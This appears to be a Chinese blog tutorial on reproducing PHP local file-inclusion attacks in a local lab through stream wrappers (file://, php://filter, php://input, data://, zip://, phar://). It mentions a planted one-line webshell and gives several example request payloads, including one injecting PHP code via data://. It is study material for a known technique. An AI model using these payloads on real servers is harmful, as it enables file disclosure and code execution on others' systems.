文件包含PHP伪协议利用方法 本地复现

环境配置

步骤一:更改参数
php.ini ⾥有两个重要的参数 allow_url_fopen 、allow_url_include


步骤二:创建123.php文件输入一句话木马

步骤三:创建1.php

less-1 file://协议

123.php?cmd=file://D:\phpstudy_pro\WWW\1.php

less-2 php://filter协议


base解码

less-3 php://input协议

123.php?cmd=php://input利用burp抓包

更改传参方式

更改参数进行放包

less-4 data://

123.php?cmd=data:text/plain,<?php phpinfo();?>

less-5 zip://

创建2.txt文件进行压缩

123.php?cmd=zip://D:\phpstudy_pro\WWW\2.zip%232.txt

less-6 phar://

123.php?cmd=phar://D:\phpstudy_pro\WWW\2.zip\2.txt

相关推荐
hqwest20 分钟前
C#WPF实战出真汁01--项目介绍
开发语言·c#·wpf
姓刘的哦1 小时前
Win10上Qt使用Libcurl库
开发语言·qt
檀越剑指大厂1 小时前
【开发语言】Groovy语言:Java生态中的动态力量
java·开发语言
stbomei1 小时前
C 语言判断一个数是否是素数的三种方法文章提纲
c语言·开发语言·算法
小牛壮士1 小时前
Tokenizer(切词器)的不同实现算法
开发语言·算法·c#
小徐敲java1 小时前
python-pycharm切换python各种版本的环境与安装python各种版本的环境(pypi轮子下载)
开发语言·python·pycharm
活宝小娜1 小时前
新增和编辑共用弹窗模板
开发语言·前端·javascript·vue.js
励志不掉头发的内向程序员2 小时前
类和对象(下)
开发语言·c++
博哥爱吃肉2 小时前
第2篇_Go语言基础语法_变量常量与数据类型
开发语言·算法·golang
IT毕设实战小研2 小时前
Java毕业设计选题推荐 |基于SpringBoot的健身爱好线上互动与打卡社交平台系统 互动打卡小程序系统
java·开发语言·vue.js·spring boot·vue·毕业设计·课程设计